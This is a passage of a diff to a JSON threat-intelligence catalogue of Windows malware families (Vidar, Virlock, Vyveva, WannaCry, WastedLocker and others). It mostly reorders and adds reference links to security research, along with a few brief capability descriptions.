"https://www.team-cymru.com/post/darth-vidar-the-dark-side-of-evolving-threat-infrastructure", - "https://www.cybereason.com/blog/the-hole-in-the-bucket-attackers-abuse-bitbucket-to-deliver-an-arsenal-of-malware", - "https://community.emergingthreats.net/t/vidar-stealer-picks-up-steam/271", - "https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/", - "https://research.checkpoint.com/2022/bumblebee-increasing-its-capacity-and-evolving-its-ttps/", "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/vidar-malware-launcher-concealed-in-help-file/", - "https://securelist.com/nullmixer-oodles-of-trojans-in-a-single-dropper/107498/", + "https://intel471.com/blog/privateloader-malware", + "https://www.cybereason.com/blog/the-hole-in-the-bucket-attackers-abuse-bitbucket-to-deliver-an-arsenal-of-malware", + "https://www.youtube.com/watch?v=lxdlNOaHJQA", "https://blog.sekoia.io/traffers-a-deep-dive-into-the-information-stealer-ecosystem", - "https://darktrace.com/blog/vidar-info-stealer-malware-distributed-via-malvertising-on-google", - "https://docs.google.com/spreadsheets/d/1nx42rdMdkCrvlmACDi3CHseyG87iSV1Y6rGZYq_-oDk", - "https://blog.malwarebytes.com/threat-analysis/2019/01/vidar-gandcrab-stealer-and-ransomware-combo-observed-in-the-wild/", - "https://www.youtube.com/watch?v=NI_Yw2t9zoo", - "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", + "https://www.cynet.com/blog/cyops-lighthouse-vidar-stealer/", + "https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign", "https://www.quorumcyber.com/wp-content/uploads/2023/01/Malware-Analysis-Vidar.pdf", - "https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q1%20Botnet%20Threat%20Update.pdf", - "https://malwarology.substack.com/p/malicious-packer-pkr_ce1a?r=1lslzd", + "https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/", + "https://twitter.com/sisoma2/status/1409816282065743872", + "https://asec.ahnlab.com/ko/25837/", + "https://go.recordedfuture.com/hubfs/reports/cta-2022-0802.pdf", + "https://docs.google.com/spreadsheets/d/1nx42rdMdkCrvlmACDi3CHseyG87iSV1Y6rGZYq_-oDk", + "https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-vidar-stealer", + "https://www.fortinet.com/blog/threat-research/the-year-of-the-wiper", "https://www.kroll.com/en/insights/publications/cyber/threat-actors-google-ads-deploy-vidar-stealer", - "https://threatpost.com/microsoft-help-files-vidar-malware/179078/" + "https://www.csoonline.com/article/3654849/microsoft-help-files-repurposed-to-contain-vidar-malware-in-new-campaign.html", + "https://malwarology.substack.com/p/malicious-packer-pkr_ce1a?r=1lslzd", + "https://fumik0.com/2018/12/24/lets-dig-into-vidar-an-arkei-copycat-forked-stealer-in-depth-analysis/", + "https://www.team-cymru.com/post/darth-vidar-the-dark-side-of-evolving-threat-infrastructure", + "https://www.bleepingcomputer.com/news/security/gandcrab-operators-use-vidar-infostealer-as-a-forerunner/", + "https://www.youtube.com/watch?v=NI_Yw2t9zoo", + "https://securelist.com/nullmixer-oodles-of-trojans-in-a-single-dropper/107498/", + "https://medium.com/s2wlab/deep-analysis-of-vidar-stealer-ebfc3b557aed", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q1%20Botnet%20Threat%20Update.pdf" ], "synonyms": [], "type": [] @@ -49649,10 +52060,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.vigilant_cleaner", - "https://blog.cyble.com/2021/08/02/a-deep-dive-analysis-of-a-new-wiper-malware-disguised-as-tokyo-olympics-document/", - "https://blog.trendmicro.co.jp/archives/28319", "https://www.fortinet.com/blog/threat-research/wiper-malware-riding-tokyo-olympic-games", + "https://blog.trendmicro.co.jp/archives/28319", "https://therecord.media/wiper-malware-targeting-japanese-pcs-discovered-ahead-of-tokyo-olympics-opening/", + "https://blog.cyble.com/2021/08/02/a-deep-dive-analysis-of-a-new-wiper-malware-disguised-as-tokyo-olympics-document/", "https://www.mbsd.jp/research/20210721/blog/" ], "synonyms": [ @@ -49681,11 +52092,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.virlock", - "https://www.ciberseguridad.eus/sites/default/files/2022-04/bcsc-malware-virlock-tlpwhite_v1242.pdf", "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-recap-january-14-29-2017", "https://www.welivesecurity.com/2014/12/22/win32virlock-first-self-reproducing-ransomware-also-shape-shifter/", "https://blogs.blackberry.com/en/2019/07/threat-spotlight-virlock-polymorphic-ransomware", - "https://www.virusbulletin.com/virusbulletin/2016/12/vb2015-paper-its-file-infector-its-ransomware-its-virlock/" + "https://www.virusbulletin.com/virusbulletin/2016/12/vb2015-paper-its-file-infector-its-ransomware-its-virlock/", + "https://www.ciberseguridad.eus/sites/default/files/2022-04/bcsc-malware-virlock-tlpwhite_v1242.pdf" ], "synonyms": [], "type": [] @@ -49712,12 +52123,12 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.virut", "https://www.secureworks.com/research/virut-encryption-analysis", - "https://www.theregister.co.uk/2018/01/10/taiwanese_police_malware/", - "https://www.mandiant.com/resources/pe-file-infecting-malware-ot", "https://chrisdietri.ch/post/virut-resurrects/", - "https://krebsonsecurity.com/2013/01/polish-takedown-targets-virut-botnet/", - "https://securelist.com/review-of-the-virus-win32-virut-ce-malware-sample/36305/", "https://blog.malwarebytes.com/threat-analysis/2018/03/blast-from-the-past-stowaway-virut-delivered-with-chinese-ddos-bot/", + "https://www.mandiant.com/resources/pe-file-infecting-malware-ot", + "https://www.theregister.co.uk/2018/01/10/taiwanese_police_malware/", + "https://securelist.com/review-of-the-virus-win32-virut-ce-malware-sample/36305/", + "https://krebsonsecurity.com/2013/01/polish-takedown-targets-virut-botnet/", "https://www.spamhaus.org/news/article/690/cooperative-efforts-to-shut-down-virut-botnet" ], "synonyms": [], @@ -49744,17 +52155,17 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.vjw0rm", - "https://twitter.com/tccontre18/status/1461386178528264204", - "https://threatresearch.ext.hp.com/wp-content/uploads/2022/05/HP-Wolf-Security-Threat-Insights-Report-Q1-2022.pdf", - "https://threatresearch.ext.hp.com/wp-content/uploads/2021/10/HP-Wolf-Security-Threat-Insights-Report-Q3-2021.pdf", - "https://www.proofpoint.com/us/blog/threat-insight/reservations-requested-ta558-targets-hospitality-and-travel", - "https://info.spamhaus.com/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf", - "https://www.deepinstinct.com/blog/understanding-the-windows-javascript-threat-landscape", + "https://lifars.com/wp-content/uploads/2021/09/Vjw0rm-.pdf", "https://resources.securityscorecard.com/research/acasestudyofVjw0rm#page=1", - "https://community.riskiq.com/article/24759ad2", - "https://appriver.com/resources/blog/november-2020/vjw0rm-back-new-tactics", "https://bazaar.abuse.ch/browse/signature/Vjw0rm/", - "https://lifars.com/wp-content/uploads/2021/09/Vjw0rm-.pdf" + "https://community.riskiq.com/article/24759ad2", + "https://twitter.com/tccontre18/status/1461386178528264204", + "https://www.proofpoint.com/us/blog/threat-insight/reservations-requested-ta558-targets-hospitality-and-travel", + "https://threatresearch.ext.hp.com/wp-content/uploads/2021/10/HP-Wolf-Security-Threat-Insights-Report-Q3-2021.pdf", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf", + "https://appriver.com/resources/blog/november-2020/vjw0rm-back-new-tactics", + "https://www.deepinstinct.com/blog/understanding-the-windows-javascript-threat-landscape", + "https://threatresearch.ext.hp.com/wp-content/uploads/2022/05/HP-Wolf-Security-Threat-Insights-Report-Q1-2022.pdf" ], "synonyms": [], "type": [] @@ -49767,8 +52178,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.vmzeus", - "https://securityintelligence.com/new-zberp-trojan-discovered-zeus-zbot-carberp/", - "https://blog.malwarebytes.com/threat-analysis/2014/02/hiding-in-plain-sight-a-story-about-a-sneaky-banking-trojan/" + "https://blog.malwarebytes.com/threat-analysis/2014/02/hiding-in-plain-sight-a-story-about-a-sneaky-banking-trojan/", + "https://securityintelligence.com/new-zberp-trojan-discovered-zeus-zbot-carberp/" ], "synonyms": [ "VMzeus", @@ -49785,9 +52196,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.vobfus", - "https://blog.trendmicro.com/trendlabs-security-intelligence/whats-the-fuss-with-worm_vobfus/", + "http://contagiodump.blogspot.com/2012/12/nov-2012-worm-vobfus-samples.html", "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/web-attack/151/beebone-botnet-takedown-trend-micro-solutions", - "http://contagiodump.blogspot.com/2012/12/nov-2012-worm-vobfus-samples.html" + "https://blog.trendmicro.com/trendlabs-security-intelligence/whats-the-fuss-with-worm_vobfus/" ], "synonyms": [ "Beebone" @@ -49802,8 +52213,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.vohuk", - "https://www.fortinet.com/blog/threat-research/ransomware-roundup-new-vohuk-scarecrow-and-aerst-variants", - "https://github.com/MalGamy/YARA_Rules/blob/main/vohuk.yara" + "https://github.com/MalGamy/YARA_Rules/blob/main/vohuk.yara", + "https://www.fortinet.com/blog/threat-research/ransomware-roundup-new-vohuk-scarecrow-and-aerst-variants" ], "synonyms": [], "type": [] @@ -49827,23 +52238,51 @@ "uuid": "55f66b60-5284-4db6-b26e-52b3aea17641", "value": "Void" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.voidoor", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/space-pirates-a-look-into-the-group-s-unconventional-techniques-new-attack-vectors-and-tools/#id4" + ], + "synonyms": [], + "type": [] + }, + "uuid": "e9525c0d-0fba-4a0c-8b9d-31acc21194db", + "value": "Voidoor" + }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.void_rat", + "https://resources.securityscorecard.com/research/technical-analysis-of-the-quasar-forked-rat-called-void-rat" + ], + "synonyms": [], + "type": [] + }, + "uuid": "d78756c3-912a-438e-b9d2-d41ae95f42c3", + "value": "VoidRAT" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.volgmer", - "https://securelist.com/lazarus-threatneedle/100803/", - "https://www.us-cert.gov/ncas/alerts/TA17-318B", + "https://asec.ahnlab.com/ko/56256/", "https://drive.google.com/file/d/1XoGQFEJQ4nFAUXSGwcnTobviQ_ms35mG/view", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", - "https://securelist.com/apt-trends-report-q2-2020/97937/", - "https://securelist.com/the-lazarus-group-deathnote-campaign/109490/", - "https://lifars.com/wp-content/uploads/2021/09/Lazarus.pdf", - "https://securelist.com/operation-applejeus/87553/", - "https://drive.google.com/file/d/1lq0Sjw4FKBxf017Ss7W7uGMvs7CgFzcA/view", - "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", "https://www.secureworks.com/research/threat-profiles/nickel-academy", - "https://medium.com/s2wlab/analysis-of-threatneedle-c-c-communication-feat-google-tag-warning-to-researchers-782aa51cf74" + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://www.us-cert.gov/ncas/alerts/TA17-318B", + "https://securelist.com/operation-applejeus/87553/", + "https://lifars.com/wp-content/uploads/2021/09/Lazarus.pdf", + "https://medium.com/s2wlab/analysis-of-threatneedle-c-c-communication-feat-google-tag-warning-to-researchers-782aa51cf74", + "https://securelist.com/apt-trends-report-q2-2020/97937/", + "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", + "https://drive.google.com/file/d/1lq0Sjw4FKBxf017Ss7W7uGMvs7CgFzcA/view", + "https://asec.ahnlab.com/en/56405/", + "https://securelist.com/the-lazarus-group-deathnote-campaign/109490/", + "https://securelist.com/lazarus-threatneedle/100803/" ], "synonyms": [ "FALLCHILL", @@ -49886,9 +52325,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.vsingle", - "https://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", + "https://www.youtube.com/watch?v=nUjxH1gW53s", "https://blogs.jpcert.or.jp/en/2022/07/vsingle.html", - "https://blogs.jpcert.or.jp/en/2021/03/Lazarus_malware3.html" + "https://blogs.jpcert.or.jp/en/2021/03/Lazarus_malware3.html", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/stonefly-north-korea-espionage", + "https://blog.talosintelligence.com/2022/09/lazarus-three-rats.html" ], "synonyms": [], "type": [] @@ -49924,6 +52365,19 @@ "uuid": "cfbd52a9-39d6-46f4-a539-76abcec92088", "value": "Vulturi" }, + { + "description": "Vyveva is a remote access trojan that uses the Tor library for communication with C&C. Its use of fake TLS for camouflaging the network traffic is one of the typical Lazarus traits.\r\n\r\nIt uses a simple XOR for encryption of its configuration and network traffic. \r\n\r\nIt sends detailed information about the victim's environment, like computer name, user name, IP, code page, Windows version, architecture, and time zone.\r\n\r\nIt supports more than 20 commands that include operations on the victim\u2019s filesystem, basic process management, command line execution, file exfiltration, and the download and memory execution of an additional DLL from the C&C (by calling the expected export SamIPromote). As in many RATs from Lazarus arsenal, the commands are indexed by 32-bit integers. The lowest index is 0x3, followed by 0x10, which goes incrementally up to 0x26. Also, it can monitor newly connected drives and the number of logged-on users.\r\n\r\nIt has MPRD.dll as the internal DLL name, and a single export SamIInitialize.\r\n\r\nVyveva RAT was used in an attack against a freight logistics company in South Africa in June 2020.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.vyveva", + "https://www.welivesecurity.com/2021/04/08/are-you-afreight-dark-watch-out-vyveva-new-lazarus-backdoor/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "b7f0ba08-8e7c-43cd-9b26-8dfef763a404", + "value": "Vyveva RAT" + }, { "description": "", "meta": { @@ -49968,42 +52422,43 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.wannacryptor", - "https://www.youtube.com/watch?v=Q90uZS3taG0", "https://securelist.com/big-threats-using-code-similarity-part-1/97239/", "https://swanleesec.github.io/posts/Malware-Lazarus-group's-Brambul-worm-of-the-former-Wannacry-1", - "https://blog.comae.io/wannacry-decrypting-files-with-wanakiwi-demo-86bafb81112d", - "https://news.sophos.com/en-us/2021/03/15/dearcry-ransomware-attacks-exploit-exchange-server-vulnerabilities/", - "https://krebsonsecurity.com/2017/05/u-k-hospitals-hit-in-widespread-ransomware-attack/", - "https://www.microsoft.com/security/blog/2017/05/12/wannacrypt-ransomware-worm-targets-out-of-date-systems/", - "https://metaswan.github.io/posts/Malware-Lazarus-group's-Brambul-worm-of-the-former-Wannacry-1", - "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", - "https://gist.github.com/rain-1/989428fa5504f378b993ee6efbc0b168", - "https://blog.comae.io/wannacry-the-largest-ransom-ware-infection-in-history-f37da8e30a58", - "https://blog.gdatasoftware.com/2017/05/29751-wannacry-ransomware-campaign", - "https://blog.malwarebytes.com/cybercrime/2017/05/how-did-wannacry-ransomworm-spread/", - "https://resources.malwarebytes.com/files/2020/02/2020_State-of-Malware-Report.pdf", - "https://i.blackhat.com/eu-20/Wednesday/eu-20-Rivera-From-Zero-To-Sixty-The-Story-Of-North-Koreas-Rapid-Ascent-To-Becoming-A-Global-Cyber-Superpower.pdf", - "http://www.independent.co.uk/news/uk/home-news/wannacry-malware-hack-nhs-report-cybercrime-north-korea-uk-ben-wallace-a8022491.html", - "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07170728/Guerrero-Saade-Raiu-VB2017.pdf", - "https://sites.temple.edu/care/ci-rw-attacks/", - "https://dissectingmalwa.re/third-times-the-charm-analysing-wannacry-samples.html", - "https://blog.comae.io/wannacry-new-variants-detected-b8908fefea7e", - "https://storage.googleapis.com/pub-tools-public-publication-data/pdf/ce44cbda9fdc061050c1d2a5dec0270874a9dc85.pdf", - "https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/WannaCry-Aftershock.pdf", - "https://www.symantec.com/connect/blogs/wannacry-ransomware-attacks-show-strong-links-lazarus-group", - "https://www.flashpoint-intel.com/blog/linguistic-analysis-wannacry-ransomware/", - "https://baesystemsai.blogspot.de/2017/05/wanacrypt0r-ransomworm.html", - "https://www.il-pib.pl/czasopisma/JTIT/2019/1/113.pdf", - "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", - "https://themoscowtimes.com/news/wcry-virus-reportedly-infects-russian-interior-ministrys-computer-network-57984", - "https://blog.avast.com/ransomware-that-infected-telefonica-and-nhs-hospitals-is-spreading-aggressively-with-over-50000-attacks-so-far-today", "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", - "https://securelist.com/blog/incidents/78351/wannacry-ransomware-used-in-widespread-attacks-all-over-the-world/", - "https://docs.microsoft.com/en-us/security/compass/human-operated-ransomware", - "https://www.malwaretech.com/2017/05/how-to-accidentally-stop-a-global-cyber-attacks.html", + "https://www.microsoft.com/security/blog/2017/05/12/wannacrypt-ransomware-worm-targets-out-of-date-systems/", + "https://baesystemsai.blogspot.de/2017/05/wanacrypt0r-ransomworm.html", + "https://www.virusbulletin.com/uploads/pdf/magazine/2018/VB2018-Kalnai-Poslusny.pdf", "http://blog.emsisoft.com/2017/05/12/wcry-ransomware-outbreak/", - "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", + "https://blog.comae.io/wannacry-new-variants-detected-b8908fefea7e", + "https://themoscowtimes.com/news/wcry-virus-reportedly-infects-russian-interior-ministrys-computer-network-57984", + "https://www.symantec.com/connect/blogs/wannacry-ransomware-attacks-show-strong-links-lazarus-group", + "https://news.sophos.com/en-us/2021/03/15/dearcry-ransomware-attacks-exploit-exchange-server-vulnerabilities/", + "https://blog.avast.com/ransomware-that-infected-telefonica-and-nhs-hospitals-is-spreading-aggressively-with-over-50000-attacks-so-far-today", + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07170728/Guerrero-Saade-Raiu-VB2017.pdf", "https://news.sophos.com/en-us/2019/09/18/the-wannacry-hangover/", + "https://storage.googleapis.com/pub-tools-public-publication-data/pdf/ce44cbda9fdc061050c1d2a5dec0270874a9dc85.pdf", + "https://blog.comae.io/wannacry-decrypting-files-with-wanakiwi-demo-86bafb81112d", + "https://www.flashpoint-intel.com/blog/linguistic-analysis-wannacry-ransomware/", + "https://i.blackhat.com/eu-20/Wednesday/eu-20-Rivera-From-Zero-To-Sixty-The-Story-Of-North-Koreas-Rapid-Ascent-To-Becoming-A-Global-Cyber-Superpower.pdf", + "https://blog.comae.io/wannacry-the-largest-ransom-ware-infection-in-history-f37da8e30a58", + "https://metaswan.github.io/posts/Malware-Lazarus-group's-Brambul-worm-of-the-former-Wannacry-1", + "https://www.youtube.com/watch?v=Q90uZS3taG0", + "https://resources.malwarebytes.com/files/2020/02/2020_State-of-Malware-Report.pdf", + "https://blog.gdatasoftware.com/2017/05/29751-wannacry-ransomware-campaign", + "https://sites.temple.edu/care/ci-rw-attacks/", + "https://blog.malwarebytes.com/cybercrime/2017/05/how-did-wannacry-ransomworm-spread/", + "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", + "https://gist.github.com/rain-1/989428fa5504f378b993ee6efbc0b168", + "https://www.malwaretech.com/2017/05/how-to-accidentally-stop-a-global-cyber-attacks.html", + "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", + "https://dissectingmalwa.re/third-times-the-charm-analysing-wannacry-samples.html", + "https://securelist.com/blog/incidents/78351/wannacry-ransomware-used-in-widespread-attacks-all-over-the-world/", + "https://krebsonsecurity.com/2017/05/u-k-hospitals-hit-in-widespread-ransomware-attack/", + "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", + "https://www.il-pib.pl/czasopisma/JTIT/2019/1/113.pdf", + "http://www.independent.co.uk/news/uk/home-news/wannacry-malware-hack-nhs-report-cybercrime-north-korea-uk-ben-wallace-a8022491.html", + "https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/WannaCry-Aftershock.pdf", + "https://docs.microsoft.com/en-us/security/compass/human-operated-ransomware", "https://github.com/0xZuk0/rules-of-yaras/blob/main/reports/Wannacry%20Ransomware%20Report.pdf" ], "synonyms": [ @@ -50048,8 +52503,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.wastedloader", - "https://killingthebear.jorgetesta.tech/actors/evil-corp", - "https://www.bitdefender.com/files/News/CaseStudies/study/397/Bitdefender-PR-Whitepaper-RIG-creat5362-en-EN.pdf" + "https://www.bitdefender.com/files/News/CaseStudies/study/397/Bitdefender-PR-Whitepaper-RIG-creat5362-en-EN.pdf", + "https://killingthebear.jorgetesta.tech/actors/evil-corp" ], "synonyms": [], "type": [] @@ -50058,57 +52513,57 @@ "value": "WastedLoader" }, { - "description": "WastedLocker is a ransomware detected to be in use since May 2020 by EvilCorp. The ransomware name is derived from the filename that it creates which includes an abbreviation of the victim’s name and the string ‘wasted’. WastedLocker is protected with a custom crypter, referred to as CryptOne by Fox-IT InTELL. On examination, this crypter turned out to be very basic and was used also by other malware families such as: Netwalker, Gozi ISFB v3, ZLoader and Smokeloader. The crypter mainly contains junk code to increase entropy of the sample and hide the actual code.", + "description": "WastedLocker is a ransomware detected to be in use since May 2020 by EvilCorp. The ransomware name is derived from the filename that it creates which includes an abbreviation of the victim\u2019s name and the string \u2018wasted\u2019. WastedLocker is protected with a custom crypter, referred to as CryptOne by Fox-IT InTELL. On examination, this crypter turned out to be very basic and was used also by other malware families such as: Netwalker, Gozi ISFB v3, ZLoader and Smokeloader. The crypter mainly contains junk code to increase entropy of the sample and hide the actual code.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.wastedlocker", - "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions", - "https://securelist.com/wastedlocker-technical-analysis/97944/", - "https://seguranca-informatica.pt/wastedlocker-malware-analysis/#.YfAaIRUITTY.twitter", - "https://www.bbc.com/news/world-us-canada-53195749", - "https://blog.bushidotoken.net/2022/07/space-invaders-cyber-threats-that-are.html", - "https://www.crowdstrike.com/blog/hades-ransomware-successor-to-indrik-spiders-wastedlocker/", - "https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html", - "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", - "https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries", - "https://www.bitdefender.com/files/News/CaseStudies/study/397/Bitdefender-PR-Whitepaper-RIG-creat5362-en-EN.pdf", - "https://blog.talosintelligence.com/2020/07/wastedlocker-emerges.html", - "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", - "https://killingthebear.jorgetesta.tech/actors/evil-corp", - "https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/", - "https://news.sophos.com/en-us/2020/08/04/wastedlocker-techniques-point-to-a-familiar-heritage/", - "https://www.prodaft.com/m/uploads/SilverFish_TLPWHITE.pdf", - "https://www.sentinelone.com/labs/sanctions-be-damned-from-dridex-to-macaw-the-evolution-of-evil-corp/", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://www.sentinelone.com/wp-content/uploads/2022/02/S1_-SentinelLabs_SanctionsBeDamned_final_02.pdf", - "https://blog.talosintelligence.com/2021/03/ctir-trends-winter-2020-21.html", - "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", - "https://unit42.paloaltonetworks.com/atoms/wastedlocker-ransomware/", "https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf", - "https://ioc.hatenablog.com/entry/2020/08/16/132853", - "https://kc.mcafee.com/corporate/index?page=content&id=KB93302&locale=en_US", - "https://www.bleepingcomputer.com/news/security/evil-corp-switches-to-hades-ransomware-to-evade-sanctions/", - "https://www.securonix.com/web/wp-content/uploads/2020/08/Securonix_Threat_Research_WastedLocker_Ransomware.pdf", - "https://symantec.broadcom.com/hubfs/SED-Threats-Financial-Sector.pdf", - "https://unit42.paloaltonetworks.com/wastedlocker/", - "https://blog.malwarebytes.com/threat-spotlight/2020/07/threat-spotlight-wastedlocker-customized-ransomware/", - "http://www.secureworks.com/research/threat-profiles/gold-drake", "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", - "https://blog.truesec.com/2021/05/05/are-the-notorious-cyber-criminals-evil-corp-actually-russian-spies/", + "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions", + "https://blog.talosintelligence.com/2020/07/wastedlocker-emerges.html", + "https://seguranca-informatica.pt/wastedlocker-malware-analysis/#.YfAaIRUITTY.twitter", + "https://www.sentinelone.com/wp-content/uploads/2022/02/S1_-SentinelLabs_SanctionsBeDamned_final_02.pdf", + "https://news.sophos.com/en-us/2020/08/04/wastedlocker-techniques-point-to-a-familiar-heritage/", + "https://www.bbc.com/news/world-us-canada-53195749", + "https://www.crowdstrike.com/blog/hades-ransomware-successor-to-indrik-spiders-wastedlocker/", "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", - "https://labs.sentinelone.com/wastedlocker-ransomware-abusing-ads-and-ntfs-file-attributes/", - "https://www.bleepingcomputer.com/news/security/new-evil-corp-ransomware-mimics-payloadbin-gang-to-evade-us-sanctions/", + "https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/", + "https://areteir.com/wp-content/uploads/2020/07/Ransomware-WastedLocker-1.pdf", + "https://blog.bushidotoken.net/2022/07/space-invaders-cyber-threats-that-are.html", "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/", - "https://medium.com/walmartglobaltech/wastedloader-or-dridexloader-4f47c9b3ae77", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", - "https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/", + "https://www.securonix.com/web/wp-content/uploads/2020/08/Securonix_Threat_Research_WastedLocker_Ransomware.pdf", "https://www.bleepingcomputer.com/news/security/garmin-outage-caused-by-confirmed-wastedlocker-ransomware-attack/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/wastedlocker-ransomware-us", + "https://medium.com/walmartglobaltech/wastedloader-or-dridexloader-4f47c9b3ae77", + "https://unit42.paloaltonetworks.com/atoms/wastedlocker-ransomware/", + "https://www.bleepingcomputer.com/news/security/new-evil-corp-ransomware-mimics-payloadbin-gang-to-evade-us-sanctions/", + "https://unit42.paloaltonetworks.com/wastedlocker/", + "https://labs.sentinelone.com/wastedlocker-ransomware-abusing-ads-and-ntfs-file-attributes/", "https://medium.com/cycraft/the-road-to-ransomware-resilience-c1ca37036efd", + "https://assets.sentinelone.com/sentinellabs/sentinellabs_EvilCorp", + "https://kc.mcafee.com/corporate/index?page=content&id=KB93302&locale=en_US", + "https://www.sentinelone.com/labs/sanctions-be-damned-from-dridex-to-macaw-the-evolution-of-evil-corp/", + "https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/", + "https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/wastedlocker-ransomware-us", + "https://symantec.broadcom.com/hubfs/SED-Threats-Financial-Sector.pdf", + "https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries", + "https://blog.truesec.com/2021/05/05/are-the-notorious-cyber-criminals-evil-corp-actually-russian-spies/", "https://www.proofpoint.com/us/blog/threat-insight/first-step-initial-access-leads-ransomware", "https://www.bleepingcomputer.com/news/security/insurance-giant-cna-hit-by-new-phoenix-cryptolocker-ransomware/", - "https://areteir.com/wp-content/uploads/2020/07/Ransomware-WastedLocker-1.pdf", - "https://assets.sentinelone.com/sentinellabs/sentinellabs_EvilCorp" + "https://killingthebear.jorgetesta.tech/actors/evil-corp", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", + "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", + "https://www.bitdefender.com/files/News/CaseStudies/study/397/Bitdefender-PR-Whitepaper-RIG-creat5362-en-EN.pdf", + "https://www.bleepingcomputer.com/news/security/evil-corp-switches-to-hades-ransomware-to-evade-sanctions/", + "https://securelist.com/wastedlocker-technical-analysis/97944/", + "https://blog.talosintelligence.com/2021/03/ctir-trends-winter-2020-21.html", + "https://blog.malwarebytes.com/threat-spotlight/2020/07/threat-spotlight-wastedlocker-customized-ransomware/", + "https://www.prodaft.com/m/uploads/SilverFish_TLPWHITE.pdf", + 